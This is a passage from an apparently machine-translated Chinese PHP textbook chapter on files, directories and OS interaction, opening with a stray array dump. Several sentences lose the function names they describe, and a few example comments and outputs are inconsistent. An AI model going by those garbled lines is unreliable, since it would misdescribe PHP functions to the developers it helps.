Array ( [The] => 1 [most] => 1 [up] => 1 [to] => 1 [date] => 1 [source] => 1 [for] => 1 [PHP] => 4 [documentation] => 1 [is] => 2 [the] => 2 [manual] => 1 [It] => 2 [contins] => 1 [many] => 1 [examples] => 1 [and] => 2 [user] => 1 [contributed] => 1 [code] => 1 [comments] => 1 [available] => 1 [on] => 1 [main] => 1 [web] => 1 [site] => 1 [a] => 2 [href] => 1 [http] => 1 [www] => 1 [php] => 1 [net] => 1 [s] => 1 )

摘要

本章介绍的许多函数都是 PHP 应用中最常用的,因为它们构成了该语言字符串操作能力的核心。

下一章研究另一组常用的函数:那些致力于文件和操作系统的函数。

十、使用文件和操作系统

如今,很少编写完全自给自足的应用,也就是说,不依赖于与外部资源(如底层文件和操作系统,甚至其他编程语言)进行某种程度的交互。原因很简单:随着语言、文件系统和操作系统的成熟,开发人员能够将每种技术最强大的功能集成到一个单一的产品中,因此创建更高效、可伸缩和及时的应用的机会大大增加了。当然,诀窍是选择一种提供方便有效的方法来实现这一点的语言。幸运的是,PHP 很好地满足了这两个条件,不仅为程序员提供了一系列处理文件系统输入和输出的工具,还提供了在 shell 级别执行程序的工具。本章介绍了这些功能,包括以下主题:

  • 文件和目录:您将学习如何执行文件系统询问,揭示文件和目录大小和位置、修改和访问次数等细节。

  • 文件 I/O: 您将学习如何与数据文件交互,这将让您执行各种实际任务,包括创建、删除、读取和写入文件。

  • 目录内容:您将学习如何轻松检索目录内容。

  • Shell 命令(Shell commands):您可以通过许多内置的函数和机制在 PHP 应用中利用操作系统和其他语言级别的功能。

  • 本节展示了 PHP 的输入净化功能,向您展示了如何阻止用户传递可能对您的数据和操作系统造成潜在危害的数据。

注意

PHP 特别擅长处理底层文件系统,以至于它作为命令行解释器(CLI)越来越受欢迎。这允许从命令行脚本完全访问所有 PHP 特性。

了解文件和目录

将相关数据组织成通常被称为文件目录的实体,长期以来一直是现代计算环境中的核心概念。由于这个原因,程序员经常需要获得关于文件和目录的细节,比如位置、大小、最后修改时间、最后访问时间和其他定义信息。这一节介绍了 PHP 的许多内置函数来获取这些重要的细节。

目录分隔符

在基于 Linux 和 Unix 的操作系统上,斜线(/)用于分隔文件夹。在基于 Windows 的系统中,使用反斜杠()可以实现同样的功能。当在双引号字符串中使用反斜杠时,它也作为转义字符使用,因此\t 变成一个制表符,\n 变成一个换行符,\变成一个反斜杠字符。PHP 允许在基于 Linux 和基于 Windows 的系统上使用斜杠(/)。这使得在系统之间移动脚本变得容易,而不必使用特殊的逻辑来处理分隔符。

解析目录路径

解析各种属性的目录路径通常很有用,例如结尾扩展名、目录组件和基本名称。有几个函数可用于执行此类任务,本节将介绍所有这些函数。

检索路径的文件名

函数的作用是:返回路径的文件名部分。其原型如下:

string basename(string path [, string suffix])

如果提供了可选的suffix参数,如果返回的文件名包含该扩展名,则该后缀将被省略。下面是一个例子:

<?php
    $path = '/home/www/data/users.txt';
    printf("Filename: %s <br />", basename($path));
    printf("Filename without extension: %s <br />", basename($path, ".txt"));
?>

执行此示例会产生以下输出:

Filename: users.txt
Filename without extension: users

检索路径的目录

dirname()函数本质上是basename()的对应函数,提供路径的目录组件。其原型如下:

string dirname(string path)

以下代码将检索指向文件名users.txt的路径:

<?php
    $path = '/home/www/data/users.txt';
    printf("Directory path: %s", dirname($path));
?>

这将返回以下内容:

Directory path: /home/www/data

了解有关路径的更多信息

pathinfo()函数创建一个关联数组,包含路径的三个部分,即目录名、基本名和扩展名。其原型如下:

array pathinfo(string path [, options])

考虑以下路径:

/home/www/htdocs/book/chapter10/index.html

pathinfo()函数可用于将该路径解析为以下四个部分:

  • 目录名:/home/www/htdocs/book/chapter10

  • 基础名称:index.html

  • 文件扩展名:html

  • 文件名:index

您可以像这样使用pathinfo()来检索这些信息:

<?php
    $pathinfo = pathinfo('/home/www/htdocs/book/chapter10/index.html');
    printf("Dir name: %s <br />", $pathinfo['dirname']);
    printf("Base name: %s <br />", $pathinfo['basename']);
    printf("Extension: %s <br />", $pathinfo['extension']);
    printf("Filename: %s <br />", $pathinfo['filename']);
?>

这会产生以下输出:

Dir name: /home/www/htdocs/book/chapter10
Base name: index.html
Extension: html
Filename: index

可选的$options参数可用于修改返回四个支持属性中的哪一个。例如,通过将其设置为PATHINFO_FILENAME,只有 filename 属性将被填充到返回的数组中。关于支持的$options值的完整列表,请参见 PHP 文档。

识别绝对路径

realpath()函数将位于path中的所有符号链接和相对路径引用转换成它们的绝对对应物。其原型如下:

string realpath(string path)

例如,假设您的目录结构采用以下路径:

/home/www/htdocs/book/img/

您可以使用realpath()来解析任何本地路径引用:

<?php
    $imgPath = '../../img/cover.gif';
    $absolutePath = realpath($imgPath);
    // Returns /www/htdocs/book/img/cover.gif
?>

计算文件、目录和磁盘大小

计算文件、目录和磁盘大小是各种应用中的常见任务。本节介绍了许多适合这项任务的标准 PHP 函数。

确定文件的大小

函数的作用是:返回指定文件的大小,以字节为单位。其原型如下:

int filesize(string filename)

下面是一个例子:

<?php
    $file = '/www/htdocs/book/chapter1.pdf';
    $bytes = filesize($file);
    $kilobytes = round($bytes/1024, 2);
    printf("File %s is $bytes bytes, or %.2f kilobytes", basename($file), $kilobytes);
?>

这将返回以下内容:

File chapter1.pdf is 91815 bytes, or 89.66 kilobytes

计算磁盘的可用空间

函数disk_free_space()返回分配给存放指定目录的磁盘分区的可用空间,以字节为单位。其原型如下:

float disk_free_space(string directory)

下面是一个例子:

<?php
    $drive = '/usr';
    printf("Remaining MB on %s: %.2f", $drive,
             round((disk_free_space($drive) / 1048576), 2));
?>

这将返回所用系统的以下信息:

Remaining MB on /usr: 2141.29

注意,返回的数字是以兆字节(MB)为单位的,因为从disk_free_space()返回的值除以 1,048,576,相当于 1MB。

计算总磁盘大小

函数的作用是:返回包含指定目录的磁盘分区的总大小,以字节为单位。其原型如下:

float disk_total_space(string directory)

如果将这个函数与disk_free_space()结合使用,很容易提供有用的空间分配统计数据:

<?php

    $partition = '/usr';

    // Determine total partition space
    $totalSpace = disk_total_space($partition) / 1048576;

    // Determine used partition space
    $usedSpace = $totalSpace - disk_free_space($partition) / 1048576;

    printf("Partition: %s (Allocated: %.2f MB. Used: %.2f MB.)",
      $partition, $totalSpace, $usedSpace);
?>

这将返回所用系统的以下信息:

Partition: /usr (Allocated: 36716.00 MB. Used: 32327.61 MB.)

检索目录大小

PHP 目前没有提供检索目录总大小的标准函数,这是一项比检索总磁盘空间更常见的任务(见上一节disk_total_space())。尽管您可以使用exec()system()du进行系统级调用(这两个函数将在后面的“PHP 的程序执行函数”一节中介绍),但出于安全原因,这些函数通常会被禁用。另一个解决方案是编写一个定制的 PHP 函数来完成这个任务。递归函数似乎特别适合这项任务。清单 10-1 中提供了一种可能的变化。

注意

Unix du命令将总结文件或目录的磁盘使用情况。有关使用信息,请参见相应的手册页。

<?php
    function directorySize($directory) {
        $directorySize=0;

        // Open the directory and read its contents.
        if ($dh = opendir($directory)) {

            // Iterate through each directory entry.
            while (($filename = readdir ($dh))) {

                // Filter out some of the unwanted directory entries
                if ($filename != "." && $filename != "..")
                {

                    // File, so determine size and add to total
                    if (is_file($directory."/".$filename))
                        $directorySize += filesize($directory."/".$filename);

                    // New directory, so initiate recursion
                    if (is_dir($directory."/".$filename))
                        $directorySize += directorySize($directory."/".$filename);
                }
            }
        }
        closedir($dh);
        return $directorySize;

    }

    $directory = '/usr/book/chapter10/';
    $totalSize = round((directorySize($directory) / 1048576), 2);
    printf("Directory %s: %f MB", $directory, $totalSize);
?>

Listing 10-1Determining the Size of a Directory’s Contents

执行该脚本将产生类似如下的输出:

Directory /usr/book/chapter10/: 2.12 MB

opendir()closedir()函数有利于过程化实现,但是 PHP 也通过使用清单 10-2 中所示的DirectoryIterator类提供了一种更现代的面向对象的方法。

<?php
    function directorySize($directory) {
        $directorySize=0;

        // Open the directory and read its contents.
        $iterator = new DirectoryIterator($directory);
        foreach ($iterator as $fileinfo) {
            if ($fileinfo->isFile()) {
                $directorySize += $fileinfo->getSize();
            }
            if ($fileinfo->isDir() && !$fileinfo->isDot()) {
                $directorySize += directorySize($directory.'/'.$fileinfo->getFilename());
            }
        }

        return $directorySize;

    }

    $directory = '/home/frank';
    $totalSize = round((directorySize($directory) / 1048576), 2);
    printf("Directory %s: %f MB", $directory, $totalSize);
?>

Listing 10-2Determining the Size of a Directory’s Contents

确定访问和修改时间

确定文件的最后访问和修改时间的能力在许多管理任务中扮演着重要的角色,尤其是在涉及网络或 CPU 密集型更新操作的 web 应用中。PHP 提供了三个函数来确定文件的访问、创建和最后修改时间,所有这些都将在本节中介绍。

确定文件的上次访问时间

fileatime()函数以 Unix 时间戳的形式返回文件的最后访问时间,如果出错则返回 FALSE。Unix 时间戳是从 UTC 时区的 1970 年 1 月 1 日 st 开始的秒数。这个函数在 Linux/Unix 和 Windows 系统上都有效。其原型如下:

int fileatime(string filename)

下面是一个例子:

<?php
    $file = '/var/www/htdocs/book/chapter10/stat.php';
    printf("File last accessed: %s", date("m-d-y  g:i:sa", fileatime($file)));
?>

这将返回以下内容:

File last accessed: 06-09-10 1:26:14pm

确定文件的上次更改时间

filectime()函数以 Unix 时间戳格式返回文件的最后更改时间,或者在出错时返回FALSE。其原型如下:

int filectime(string filename)

下面是一个例子:

<?php
    $file = '/var/www/htdocs/book/chapter10/stat.php';
    printf("File inode last changed: %s", date("m-d-y  g:i:sa", filectime($file)));
?>

这将返回以下内容:

File inode last changed: 06-09-10 1:26:14pm

注意

最后更改时间不同于最后修改时间,因为最后更改时间是指文件的索引节点数据的任何更改,包括权限、所有者、组或其他索引节点特定信息的更改,而最后修改时间是指文件内容的更改(特别是字节大小)。

确定文件的上次修改时间

filemtime()函数以 Unix 时间戳格式返回文件的最后修改时间,否则返回FALSE。其原型如下:

int filemtime(string filename)

下面的代码演示了如何在网页上放置“上次修改”时间戳:

<?php
    $file = '/var/www/htdocs/book/chapter10/stat.php';
    echo "File last updated: ".date("m-d-y  g:i:sa", filemtime($file));
?>

这将返回以下内容:

File last updated: 06-09-10 1:26:14pm

使用文件

Web 应用很少是 100%独立的;也就是说,大多数都依赖某种外部数据源来做有趣的事情。这种数据源的两个主要例子是文件和数据库。在这一节中,通过介绍 PHP 众多与文件相关的标准函数,您将学习如何与文件进行交互。但是首先有必要介绍一些与这个主题相关的基本概念。

资源的概念

术语资源通常用于指代任何可以从中发起输入或输出流的实体。标准输入或输出、文件和网络套接字都是资源的例子。因此,您将经常看到本节中介绍的许多功能是在资源处理的上下文中讨论的,而不是在文件处理的上下文中讨论的,本质上,因为所有这些功能都能够处理上述资源。然而,因为它们与文件结合使用是最常见的应用,所以讨论将主要限于这一目的,尽管术语资源文件在全文中可以互换使用。

识别换行符

换行符由\n字符序列(Windows 上的\r\n)表示,表示文件中一行的结束。当您需要一次输入或输出一行信息时,请记住这一点。本章其余部分介绍的几个函数提供了专门处理换行符的功能。这些功能包括file()fgetcsv()fgets()

识别文件结尾字符

程序需要一种标准化的方法来识别什么时候到达了文件的末尾。这个标准通常被称为文件尾,或者文件尾,字符。这是一个非常重要的概念,几乎每种主流编程语言都提供了一个内置函数来验证解析器是否已经到达 EOF。对于 PHP 来说,这个函数就是feof()feof()函数确定资源的 EOF 是否已经达到。它在文件 I/O 操作中非常常用。其原型如下:

int feof(string resource)

在下面的例子中,在执行读取功能之前,不检查文件是否存在。这将导致一个连续的循环。最好在使用 fopen()函数之前验证它是否返回文件句柄:

<?php
    // Open a text file for reading purposes
    $fh = fopen('/home/www/data/users.txt', 'r');

    // While the end-of-file hasn't been reached, retrieve the next line
    while (!feof($fh)) echo fgets($fh);

    // Close the file
    fclose($fh);
?>

打开和关闭文件

通常,在对文件内容做任何事情之前,您需要创建一个所谓的句柄。同样,一旦您完成了对该资源的处理,您应该销毁该句柄。有两个标准函数可用于此类任务,这两个函数都将在本节中介绍。

打开文件

函数将一个文件绑定到一个句柄。一旦绑定,脚本就可以通过句柄与这个文件进行交互。其原型如下:

resource fopen(string resource, string mode [, int use_include_path
               [, resource context]])

虽然fopen()最常用于打开文件进行读取和操作,但它也能够通过许多协议打开资源,包括 HTTP、HTTPS 和 FTP,这是在第十六章中讨论的概念。

在资源打开时分配的模式决定了该资源可用的访问级别。各种模式在表 10-1 中定义。完整列表请点击 https://php.net/manual/en/function.fopen.php

表 10-1

文件模式

|

模式

|

描述

|
| --- | --- |
| r | 只读。文件指针放在文件的开头。 |
| r+ | 读写。文件指针放在文件的开头。 |
| w | 只写。在写入之前,删除文件内容并将文件指针返回到文件的开头。如果该文件不存在,请尝试创建它。 |
| w+ | 读写。在读取或写入之前,删除文件内容并将文件指针返回到文件的开头。如果该文件不存在,请尝试创建它。 |
| a | 只写。文件指针放在文件的末尾。如果该文件不存在,请尝试创建它。这种模式更好地被称为Append。 |
| a+ | 读写。文件指针放在文件的末尾。如果该文件不存在,请尝试创建它。这个过程被称为追加到文件的 |
| x | 创建并打开只写的文件。如果文件存在,fopen()将失败,并产生 E_WARNING 级错误。 |
| x+ | 创建并打开文件进行写和写。如果文件存在,fopen()将失败,并产生 E_WARNING 级错误。 |

如果在本地文件系统上找到了资源,PHP 希望它可以通过它前面的路径获得。或者,您可以为fopen()use_include_path 参数分配1的值,这将使 PHP 在由include_path配置指令指定的路径中查找资源。

最后一个参数,上下文,用于设置特定于文件或流的配置参数,并用于在多个fopen()请求之间共享特定于文件或流的信息。该主题将在第十六章中详细讨论。

让我们考虑几个例子。第一个打开驻留在本地服务器上的文本文件的只读句柄:

$fh = fopen('/var/www/users.txt', 'r');

下一个示例演示如何打开 HTML 文档的写句柄:

$fh = fopen('/var/www/docs/summary.html', 'w');

下一个例子引用同一个 HTML 文档,只是这次 PHP 将在由include_path指令指定的路径中搜索文件(假设summary.html文档位于上一个例子中指定的位置,include_path将需要包含路径/usr/local/apache/data/docs/):

$fh = fopen('summary.html', 'w', 1);

最后一个例子打开一个远程文件的只读流Example Domain.html.。文件名是服务器提供的默认文档,如果给出完整路径而不仅仅是域名,它可以是 index.html、index.php 或特定文件。

$fh = fopen('http://www.example.com/', 'r');

当然,请记住fopen()只是为即将到来的操作准备资源。除了建立句柄之外,它不需要您使用其他函数来实际执行读写操作。这些功能将在接下来的章节中介绍。

关闭文件

良好的编程实践表明,一旦使用完任何资源,就应该销毁指向它们的指针。fclose()函数为您处理这个问题,关闭由文件句柄指定的先前打开的文件指针,如果成功返回 TRUE,否则返回 FALSE。其原型如下:

boolean fclose(resource filehandle)

文件句柄必须是使用fopen()fsockopen()打开的现有文件指针。当脚本终止时,PHP 将关闭未被脚本关闭的文件句柄。在 web 上下文中,这通常会在请求发起后的几毫秒或几秒内发生。如果 PHP 被用作一个 shell 脚本,这个脚本可能会运行很长时间,当不再使用时,文件句柄应该被关闭。

从文件中读取

PHP 提供了许多从文件中读取数据的方法,从一次只读取一个字符到一次读取整个文件。本节介绍了许多最有用的功能。

将文件读入数组

在前面的例子中,我们已经使用了文件句柄来打开、访问和关闭文件系统中的文件。一些文件处理函数可以执行文件操作,其中打开和关闭步骤内置于函数调用中。这使得处理更小的文件(更少的代码)很方便。对于较大的文件,可能有必要使用文件句柄并以小块的形式处理文件,以便节省内存。file()函数能够将一个文件读入一个数组,用换行符分隔每个元素,换行符仍然附加在每个元素的末尾。其原型如下:

array file(string filename [int use_include_path [, resource context]])

尽管过于简单,但这个函数的重要性不能被夸大,因此它保证了一个简单的演示。考虑以下名为users.txt的示例文本文件:

Ale ale@example.com
Nicole nicole@example.com
Laura laura@example.com

下面的脚本读入users.txt并解析和转换数据为方便的基于 web 的格式:

<?php

    // Read the file into an array
    $users = file('users.txt');

    // Cycle through the array
    foreach ($users as $user) {

        // Parse the line, retrieving the name and e-mail address
        list($name, $email) = explode(' ', $user);

        // Remove newline from $email
        $email = trim($email);

        // Output the formatted name and e-mail address
        echo "<a href=\"mailto:$email\">$name</a> <br /> ";

    }

?>

该脚本产生以下 HTML 输出:

<a href="mailto:ale@example.com">Ale</a><br />
<a href="mailto:nicole@example.com">Nicole</a><br />
<a href="mailto:laura@example.com">Laura</a><br />

fopen()一样,你可以通过将 use_include_path 设置为1来告诉file()搜索include_path配置参数中指定的路径。context参数指的是一个流上下文。在第十六章你会学到更多关于这个主题的知识。

将文件内容读入字符串变量

file_get_contents()函数是另一个函数,除了读取所有内容之外,它还处理文件的打开和关闭。它将文件的内容读入一个字符串。其原型如下:

string file_get_contents(string filename [, int use_include_path [, resource context [, int offset [, int maxlen]]]])

通过修改前一节中的脚本,使用file_get_contents()函数代替file(),您将获得以下代码:

<?php

    // Read the file into a string variable
    $userfile= file_get_contents('users.txt');

    // Place each line of $userfile into array
    $users = explode("\n", $userfile);

    // Cycle through the array
    foreach ($users as $user) {

        // Parse the line, retrieving the name and e-mail address
        list($name, $email) = explode(' ', $user);

        // Output the formatted name and e-mail address
        printf("<a href='mailto:%s'>%s</a> <br />", $email, $name);
    }

?>

使用 _ 包含 _ 路径上下文参数的操作方式与上一节中定义的方式相同。可选的偏移参数决定了文件中file_get_contents()函数开始读取的位置。可选的 maxlen 参数决定读入字符串的最大字节数。

将 CSV 文件读入数组

方便的fgetcsv()函数解析以 CSV 格式标记的文件的每一行。其原型如下:

array fgetcsv(resource handle [, int length [, string delimiter
              [, string enclosure]]])

阅读不会在新行上停止;相反,当length字符被读取时,它停止。省略length或将其设置为0将导致线路长度不受限制;但是,由于这会降低性能,所以选择一个一定会超过文件中最长行的数字总是一个好主意。可选的delimiter参数(默认设置为逗号)标识用于分隔每个字段的字符。可选的enclosure参数(默认情况下设置为双引号)标识用于括住字段值的字符,这在分配的分隔符值也可能出现在字段值中时非常有用,尽管是在不同的上下文中。

注意

在应用之间导入文件时,通常使用逗号分隔值(CSV)文件。Microsoft Excel 和 Access、MySQL、Oracle 和 PostgreSQL 只是能够导入和导出 CSV 数据的一些应用和数据库。此外,Perl、Python 和 PHP 等语言在解析分隔数据方面特别有效。

考虑这样一个场景,其中每周简讯订阅者数据被缓存到一个文件中,供营销人员阅读。该文件可能如下所示:

Jason Gilmore,jason@example.com,614-555-1234
Bob Newhart,bob@example.com,510-555-9999
Carlene Ribhurt,carlene@example.com,216-555-0987

假设市场部想要一个简单的方法在网上浏览这个列表。这个任务用fgetcsv()很容易完成。下列范例会剖析档案:

<?php

    // Open the subscribers data file
    $fh = fopen('/home/www/data/subscribers.csv', 'r');

    // Break each line of the file into three parts
    while (list($name, $email, $phone) = fgetcsv($fh, 1024, ',')) {
        // Output the data in HTML format
        printf("<p>%s (%s) Tel. %s</p>", $name, $email, $phone);
    }

?>

请注意,您不一定要使用fgetcsv()来解析这样的文件;只要文件内容简单(没有逗号作为任何列的一部分),那么file()list()函数就可以很好地完成这项工作。另一个(更好的)选择是用file_get_content()和用户str_getcsv()读取整个内容来解析内容。我们可以修改前面的示例,改为使用后面的函数:

<?php

    // Read the file into an array
    $users = file('/home/www/data/subscribers.csv');

    foreach ($users as $user) {

        // Break each line of the file into three parts
        list($name, $email, $phone) = explode(',', $user);

        // Output the data in HTML format
        printf("<p>%s (%s) Tel. %s</p>", $name, $email, $phone);

    }

?> 

读取特定数量的字符

fgets()函数返回通过打开的资源句柄读入的一定数量的字符,或者在遇到换行符或 EOF 字符时它已经读取的所有内容。其原型如下:

string fgets(resource handle [, int length])

如果省略可选的长度参数,它将一直读到第一个换行符或 EOF 符。下面是一个例子:

<?php
    // Open a handle to users.txt
    $fh = fopen('/home/www/data/users.txt', 'r');
    // While the EOF isn't reached, read in another line and output it
    while (!feof($fh)) echo fgets($fh);

    // Close the handle
    fclose($fh);
?>

从输入中去除标签

fgetss()函数的操作类似于fgets(),除了它也从输入中去除任何 HTML 和 PHP 标签。其原型如下:

string fgetss(resource handle, int length [, string allowable_tags])

如果您想忽略某些标签,请将它们包含在allowable_tags参数中。请注意,允许的标签可能包含 JavaScript 代码,如果内容作为网站的一部分提供给用户,这些代码可能是有害的。如果用户提供的内容被提供回网站。HTML 应该被剥离或转换成 HTML 实体,以便它们被显示为类型,而不是被浏览器解析(执行)为 HTML/JavaScript。作为一个例子,考虑一个场景,其中期望贡献者使用 HTML 标签的指定子集以 HTML 格式提交他们的工作。当然,贡献者并不总是遵循指示,所以在文件可以发布之前,必须过滤标签误用。对于fgetss(),这是微不足道的:

<?php

    // Build list of acceptable tags
    $tags = '<h2><h3><p><b><a><img>';

    // Open the article, and read its contents.
    $fh = fopen('article.html', 'r');

    while (! feof($fh)) {
        $article .= fgetss($fh, 1024, $tags);
    }
    // Close the handle
    fclose($fh);

    // Open the file up in write mode and output its contents.
    $fh = fopen('article.html', 'w');
    fwrite($fh, $article);

    // Close the handle
    fclose($fh);

?>

小费

如果您想从通过表单提交的用户输入中删除 HTML 标签,请查看第九章中介绍的 strip_tags()函数。

一次一个字符地读取文件

fgetc()函数从handle指定的开放资源流中读取一个字符。如果遇到 EOF,则返回一个值FALSE。其原型如下:

string fgetc(resource handle)

可以在 CLI 模式下使用此函数从键盘读取输入,如下例所示:

<?php
echo 'Are you sure you want to delete? (y/n) ';
$input = fgetc(STDIN);

if (strtoupper($input) == 'Y')
{
    unlink('users.txt');
}
?>

忽略换行符

fread()函数从handle指定的资源中读取length字符。当到达 EOF 或length字符被读取时,读取停止。其原型如下:

string fread(resource handle, int length)

注意,与其他读取函数不同,在使用fread()时,换行符是不相关的,这对于读取二进制文件非常有用。因此,使用filesize()来确定应该读入的字符数,可以方便地一次读入整个文件:

<?php

    $file = '/home/www/data/users.txt';

    // Open the file for reading
    $fh = fopen($file, 'r');

    // Read in the entire file
    $userdata = fread($fh, filesize($file));

    // Close the file handle
    fclose($fh);

?>

变量$userdata现在包含了users.txt文件的内容。这种方法通常用于读取和处理大块文件。它将允许在不将整个文件读入内存的情况下完成处理。对于较小的文件,使用file_get_contents()在一条语句中读取文件更有效。要以 1,024 字节为单位读取文件,可以使用以下示例:

<?php

    $file = '/home/www/data/users.txt';

    // Open the file for reading
    $fh = fopen($file, 'r');

    // Read in the entire file
    while($userdata = fread($fh, 1024)) {
      // process $userdata
    }

    // Close the file handle
    fclose($fh);

?>

输出整个文件

readfile()函数读取由filename指定的整个文件,并立即将其输出到输出缓冲区,返回读取的字节数。其原型如下:

int readfile(string filename [, int use_include_path])

如果文件太大,无法在内存中处理,可以使用fpassthru()打开文件,然后分块读取,并将输出发送给客户端。

启用可选的use_include_path参数告诉 PHP 搜索由include_path配置参数指定的路径。如果您只想将整个文件转储到发出请求的浏览器/客户端,此函数非常有用:

<?php

   $file = '/home/www/articles/gilmore.html';

   // Output the article to the browser.
   $bytes = readfile($file);

?>

这种方法允许在文档根目录之外存储文件,并在将文件发送到客户机之前使用 PHP 执行访问控制。对于较大的文件,此方法可能会超出内存限制,除非关闭输出缓冲。处理这些请求的更有效的方法是在 Apache 服务器中安装一个扩展(XSendFile)。这将仍然允许 PHP 用于访问控制,但是它将使用 Apache 来读取文件并将其发送给客户端。这通常是通过设置 HTTP 头来处理的,该头向 web 服务器提供文件位置。NginX 支持这一点,不需要扩展。

像 PHP 的许多其他文件 I/O 函数一样,如果配置参数fopen_wrappers被启用,远程文件可以通过它们的 URL 打开。请注意,远程文件可能包含恶意代码,只有当您对远程文件拥有 100%的控制权时,才应使用此功能。

根据预定义的格式读取文件

fscanf()函数提供了一种根据预定义格式解析资源的便捷方法。其原型如下:

mixed fscanf(resource handle, string format [, string var1])

例如,假设您想要解析以下由社会保险号(SSN) ( socsecurity.txt)组成的文件:

123-45-6789
234-56-7890
345-67-8901

以下示例解析socsecurity.txt文件:

<?php

    $fh = fopen('socsecurity.txt', 'r');

    // Parse each SSN in accordance with integer-integer-integer format

    while ($user = fscanf($fh, "%d-%d-%d")) {

        // Assign each SSN part to an appropriate variable
        list ($part1,$part2,$part3) = $user;
        printf("Part 1: %d Part 2: %d Part 3: %d <br />", $part1, $part2, $part3);
     }

   fclose($fh);

?>

当在浏览器中查看时,会产生类似于以下内容的输出:

Part 1: 123 Part 2: 45 Part 3: 6789
Part 1: 234 Part 2: 56 Part 3: 7890
Part 1: 345 Part 2: 67 Part 3: 8901

在每次迭代中,变量$part1$part2$part3分别被赋予每个 SSN 的三个分量,并输出到浏览器。

将字符串写入文件

函数将一个字符串变量的内容输出到指定的资源中。其原型如下:

int fwrite(resource handle, string string [, int length])

如果提供可选的length参数,当length字符被写入时,fwrite()将停止写入。否则,当发现string结束时,写入将停止。考虑这个例子:

<?php

   // Data we'd like to write to the subscribers.txt file
   $subscriberInfo = 'Jason Gilmore|jason@example.com';

   // Open subscribers.txt for writing
   $fh = fopen('/home/www/data/subscribers.txt', 'a');

   // Write the data
   fwrite($fh, $subscriberInfo);

   // Close the handle
   fclose($fh);

?>

提示移动文件指针

在一个文件中跳来跳去,在不同的位置读取和写入通常是很有用的。有几个 PHP 函数可以做到这一点。

将文件指针移动到特定的偏移量

fseek()函数将指针移动到由提供的偏移值指定的位置。其原型如下:

int fseek(resource handle, int offset [, int whence])

如果省略可选参数whence,则从文件开头的offset字节开始设置位置。否则,where可以设置为三个可能值之一,这会影响指针的位置:

  • SEEK_CUR:将指针位置设置到当前位置加上offset字节。

  • SEEK_END:将指针位置设置为 EOF 加offset字节。在这种情况下,offset必须设置为负值。

  • SEEK_SET:将指针位置设置为offset字节。这与省略whence有相同的效果。

检索当前指针偏移量

ftell()函数获取文件指针在资源中的偏移量的当前位置。其原型如下:

int ftell(resource handle)

将文件指针移回到文件的开头

函数的作用是:将文件指针移回到资源的开头。其原型如下:

int rewind(resource handle)

这个和fseek($res, 0)一样。

正在读取目录内容

读取目录内容的过程与读取文件的过程非常相似。本节介绍了可用于此任务的函数,还介绍了将目录内容读入数组的函数。

打开目录句柄

就像fopen()打开一个指向给定文件的文件指针一样,opendir()打开一个由路径指定的目录流。其原型如下:

resource opendir(string path [, resource context])

关闭目录句柄

closedir()函数关闭目录流。其原型如下:

void closedir(resource directory_handle)

解析目录内容

readdir()函数返回目录中的每个元素。其原型如下:

string readdir([resource directory_handle])

此外,您可以使用此函数列出给定目录中的所有文件和子目录:

<?php
    $dh = opendir('/usr/local/apache2/htdocs/');
    while ($file = readdir($dh))
        echo "$file <br />";
    closedir($dh);
?>

示例输出如下:

.
..
articles
images
news
test.php

注意,readdir()还返回典型 Unix 目录列表中常见的...条目。您可以使用if语句轻松地过滤掉这些:

if($file != "." && $file != "..")
  echo "$file <br />";

如果可选的 directory_handle 参数没有被赋值,那么 PHP 将试图从opendir()打开的最后一个链接中读取。

将目录读入数组

scandir()函数返回一个由在directory中找到的文件和目录组成的数组,或者在出错时返回FALSE。其原型如下:

array scandir(string directory [,int sorting_order [, resource context]])

将可选的sorting_order参数设置为1会以降序对内容进行排序,覆盖默认的升序。执行此示例(来自上一节):

<?php
    print_r(scandir('/usr/local/apache2/htdocs'));
?>

返回所用系统的以下信息:

Array ( [0] => . [1] => .. [2] => articles [3] => images
[4] => news [5] => test.php )

上下文参数指的是流上下文。你会在第十六章中了解到更多关于这个话题的内容。

scandir()函数不会递归扫描目录。如果您需要这样做,您可以将函数包装在一个递归函数中。

执行 Shell 命令

与底层操作系统交互的能力是任何编程语言的重要特性。虽然可以想象使用像exec()system()这样的函数来执行任何系统级命令,但是其中一些函数太普通了,以至于 PHP 开发人员认为将它们直接集成到语言中是个好主意。本节将介绍几个这样的函数。

删除目录

rmdir()函数试图删除指定的目录,如果成功返回TRUE,否则返回FALSE。其原型如下:

int rmdir(string dirname)

与 PHP 的许多文件系统函数一样,为了让rmdir()成功删除目录,必须正确设置权限。因为 PHP 脚本通常在服务器守护进程所有者的伪装下执行,rmdir()将会失败,除非该用户拥有对该目录的写权限。此外,目录必须为空。

要删除非空目录,您可以使用能够执行系统级命令的函数,如system()exec(),或者编写一个递归函数,在尝试删除目录之前删除所有文件内容。请注意,在这两种情况下,执行用户(服务器守护进程所有者)都需要对目标目录的父目录进行写访问。以下是后一种方法的一个示例:

<?php
    function deleteDirectory($dir)
    {
        // open a directory handle
        if ($dh = opendir($dir))
        {
            // Iterate through directory contents
            while (($file = readdir ($dh)) != false)
            {
                // skup files . and ..
                if (($file == ".") || ($file == "..")) continue;
                if (is_dir($dir . '/' . $file))
                    // Recursive call to delete subdirectory
                    deleteDirectory($dir . '/' . $file);
                else
                    // delete file
                    unlink($dir . '/' . $file);
            }

           closedir($dh);
           rmdir($dir);
        }
    }

    $dir = '/usr/local/apache2/htdocs/book/chapter10/test/';
    deleteDirectory($dir);
?>

重命名文件

函数的作用是重命名一个文件,如果成功则返回TRUE,否则返回FALSE。其原型如下:

boolean rename(string oldname, string newname [, resource context])

因为 PHP 脚本通常在服务器守护进程所有者的伪装下执行,rename()将会失败,除非该用户拥有对该文件的写权限。上下文参数指的是流上下文。你会在第十六章学到更多关于这个话题的知识。

rename功能可用于更改文件的名称或位置。参数 oldname 和 newname 都通过相对于脚本的文件路径或使用绝对路径来引用文件。

触摸文件

touch()函数设置文件filename的最后修改和最后访问时间,如果成功返回TRUE,如果错误返回FALSE。其原型如下:

int touch(string filename [, int time [, int atime]])

如果没有提供时间,则使用当前时间(由服务器指定)。如果提供了可选的 atime 参数,访问时间将被设置为该值;否则,与修改时间一样,它将被设置为time或当前服务器时间。

注意,如果filename不存在,它将被创建,假设脚本的所有者拥有足够的权限。

系统级程序执行

真正懒惰的程序员知道如何在开发应用时充分利用他们的整个服务器环境,包括在必要时利用操作系统、文件系统、已安装程序库和编程语言的功能。在本节中,您将了解 PHP 如何与操作系统交互,以调用操作系统级程序和第三方安装的应用。如果处理得当,它将为您的 PHP 编程清单增加一个全新的功能级别。如果做得不好,不仅对您的应用,而且对您的服务器的数据完整性都是灾难性的。也就是说,在深入研究这个强大的特性之前,先花点时间考虑一下在将用户输入传递到 shell 级别之前净化用户输入的主题。

净化输入

